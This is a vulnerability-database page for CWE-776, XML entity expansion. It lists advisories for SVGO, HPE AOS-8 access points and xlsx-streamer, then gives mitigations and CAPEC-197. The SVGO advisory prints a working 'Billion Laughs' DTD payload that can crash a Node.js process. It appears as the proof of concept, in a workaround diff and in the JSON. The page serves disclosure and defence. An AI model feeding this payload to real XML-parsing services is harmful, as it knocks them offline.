Common Weakness Enumeration

CWE-776

Allowed

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Abstraction: Base · Status: Draft

The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

153 vulnerabilities reference this CWE, most recent first.

GHSA-XPQW-6GX7-V673

Vulnerability from github – Published: 2026-03-04 22:59 – Updated: 2026-03-06 21:58
VLAI
Summary
SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)
Details

Summary

SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.

Details

The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.

However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.

Proof of Concept

import { optimize } from 'svgo';

/** Presume that this string was obtained in some other way, such as network. */
const original = `
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
  <lolz>&lol9;</lolz>
`;

optimize(original);

Impact

If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.

It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.

Patches

SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.

Workarounds

== 4.0.0

For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:

For example:

yarn up -R sax

New options were introduced upstream which makes the way SVGO parses SVGs safe by default.

>= 2.1.0, <= 3.3.2

Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.

Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.

+ import SAX from 'sax';
  import { optimize } from 'svgo';

- const original =`
+ let original = `
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  `;

+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+   original = original.replace(doctype, '');
+ }
+ parser.write(original);

  optimize(original);

Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "svgo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "svgo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "svgo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T22:59:28Z",
    "nvd_published_at": "2026-03-06T08:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with `JavaScript heap out of memory`.\n\n### Details\n\nThe upstream XML parser ([sax](https://www.npmjs.com/package/sax)) doesn\u0027t interpret custom XML entities by default. We pattern matched custom XML entities from the `DOCTYPE`, inserting them into `parser.ENTITIES`, and enabled `unparsedEntities`. This gives us the desired behavior of supporting SVGs with entities declared in the `DOCTYPE`.\n\nHowever, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.\n\n#### Proof of Concept\n\n```js\nimport { optimize } from \u0027svgo\u0027;\n\n/** Presume that this string was obtained in some other way, such as network. */\nconst original = `\n  \u003c?xml version=\"1.0\"?\u003e\n  \u003c!DOCTYPE lolz [\n  \u003c!ENTITY lol \"lol\"\u003e\n  \u003c!ELEMENT lolz (#PCDATA)\u003e\n  \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n  \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n  \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n  \u003c!ENTITY lol4 \"\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\"\u003e\n  \u003c!ENTITY lol5 \"\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\"\u003e\n  \u003c!ENTITY lol6 \"\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\"\u003e\n  \u003c!ENTITY lol7 \"\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\"\u003e\n  \u003c!ENTITY lol8 \"\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\"\u003e\n  \u003c!ENTITY lol9 \"\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\"\u003e\n  ]\u003e\n  \u003clolz\u003e\u0026lol9;\u003c/lolz\u003e\n`;\n\noptimize(original);\n```\n\n### Impact\n\nIf SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG \u003c 1\u00a0KB in size.\n\nIt\u0027s unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.\n\n### Patches\n\nSVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it\u0027s strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.\n\n### Workarounds\n\n#### == 4.0.0\n\nFor v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:\n\nFor example:\n\n```sh\nyarn up -R sax\n```\n\nNew options were introduced upstream which makes the way SVGO parses SVGs safe by default.\n\n#### \u003e= 2.1.0, \u003c= 3.3.2\n\nUsers of v3 and v2 will have to take manual action. If users can\u0027t upgrade, they may be able to work around this as long as the project doesn\u0027t require support for custom XML entities, though it\u0027s not a simple flag.\n\nParse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.\n\n```diff\n+ import SAX from \u0027sax\u0027;\n  import { optimize } from \u0027svgo\u0027;\n\n- const original =`\n+ let original = `\n    \u003c?xml version=\"1.0\"?\u003e\n    \u003c!DOCTYPE lolz [\n    \u003c!ENTITY lol \"lol\"\u003e\n    \u003c!ELEMENT lolz (#PCDATA)\u003e\n    \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n    \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n    \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n    \u003c!ENTITY lol4 \"\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\"\u003e\n    \u003c!ENTITY lol5 \"\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\"\u003e\n    \u003c!ENTITY lol6 \"\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\u0026lol5;\"\u003e\n    \u003c!ENTITY lol7 \"\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\u0026lol6;\"\u003e\n    \u003c!ENTITY lol8 \"\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\u0026lol7;\"\u003e\n    \u003c!ENTITY lol9 \"\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\u0026lol8;\"\u003e\n    ]\u003e\n    \u003clolz\u003e\u0026lol9;\u003c/lolz\u003e\n  `;\n\n+ const parser = SAX.parser();\n+ /** @param {string} doctype */\n+ parser.ondoctype = (doctype) =\u003e {\n+   original = original.replace(doctype, \u0027\u0027);\n+ }\n+ parser.write(original);\n\n  optimize(original);\n```\n\n### Resources\n\n* [Wikipedia: Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)",
  "id": "GHSA-xpqw-6gx7-v673",
  "modified": "2026-03-06T21:58:08Z",
  "published": "2026-03-04T22:59:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/svg/svgo/security/advisories/GHSA-xpqw-6gx7-v673"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/svg/svgo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)"
}

GHSA-XRFM-M363-M483

Vulnerability from github – Published: 2026-05-12 21:31 – Updated: 2026-05-12 21:31
VLAI
Details

A vulnerability in the XML handling component of AOS-8 DHCP services could allow an unauthenticated remote attacker to trigger a denial-of-service condition. Successful exploitation could allow an attacker to cause excessive resource consumption upon user interaction, leading to service disruption or reduced availability of the affected system.

NOTE: This vulnerability only impacts Access Points running AOS Instant 8.x.x.x

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-23822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T19:16:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the XML handling component of AOS-8 DHCP services could allow an unauthenticated remote attacker to trigger a denial-of-service condition. Successful exploitation could allow an attacker to cause excessive resource consumption upon user interaction, leading to service disruption or reduced availability of the affected system.\n\n\n\n\n\n\n\n\nNOTE: This vulnerability only impacts Access Points running AOS Instant 8.x.x.x",
  "id": "GHSA-xrfm-m363-m483",
  "modified": "2026-05-12T21:31:33Z",
  "published": "2026-05-12T21:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23822"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us\u0026docLocale=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVM2-9XVC-HX7F

Vulnerability from github – Published: 2022-03-02 21:30 – Updated: 2022-03-10 15:48
VLAI
Summary
Improper Restriction of XML External Entity Reference in com.monitorjbl:xlsx-streamer
Details

Impact

Prior to xlsx-streamer 2.1.0, the XML parser that was used did not apply all the necessary settings to prevent XML Entity Expansion issues.

Patches

Upgrade to version 2.1.0.

Workarounds

No known workaround.

References

https://github.com/monitorjbl/excel-streaming-reader/commit/0749c7b9709db078ccdeada16d46a34bc2910c73

For more information

If you have any questions or comments about this advisory: * Open an issue in monitorjbl/excel-streaming-reader

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.monitorjbl:xlsx-streamer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-02T21:30:54Z",
    "nvd_published_at": "2022-03-02T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nPrior to xlsx-streamer 2.1.0, the XML parser that was used did not apply all the necessary settings to prevent XML Entity Expansion issues.\n\n### Patches\nUpgrade to version 2.1.0.\n\n### Workarounds\nNo known workaround.\n\n### References\nhttps://github.com/monitorjbl/excel-streaming-reader/commit/0749c7b9709db078ccdeada16d46a34bc2910c73\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [monitorjbl/excel-streaming-reader](https://github.com/monitorjbl/excel-streaming-reader)\n\n",
  "id": "GHSA-xvm2-9xvc-hx7f",
  "modified": "2022-03-10T15:48:44Z",
  "published": "2022-03-02T21:30:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/monitorjbl/excel-streaming-reader/security/advisories/GHSA-xvm2-9xvc-hx7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/monitorjbl/excel-streaming-reader/commit/0749c7b9709db078ccdeada16d46a34bc2910c73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/monitorjbl/excel-streaming-reader"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Restriction of XML External Entity Reference in com.monitorjbl:xlsx-streamer"
}

Mitigation
Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Mitigation
Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.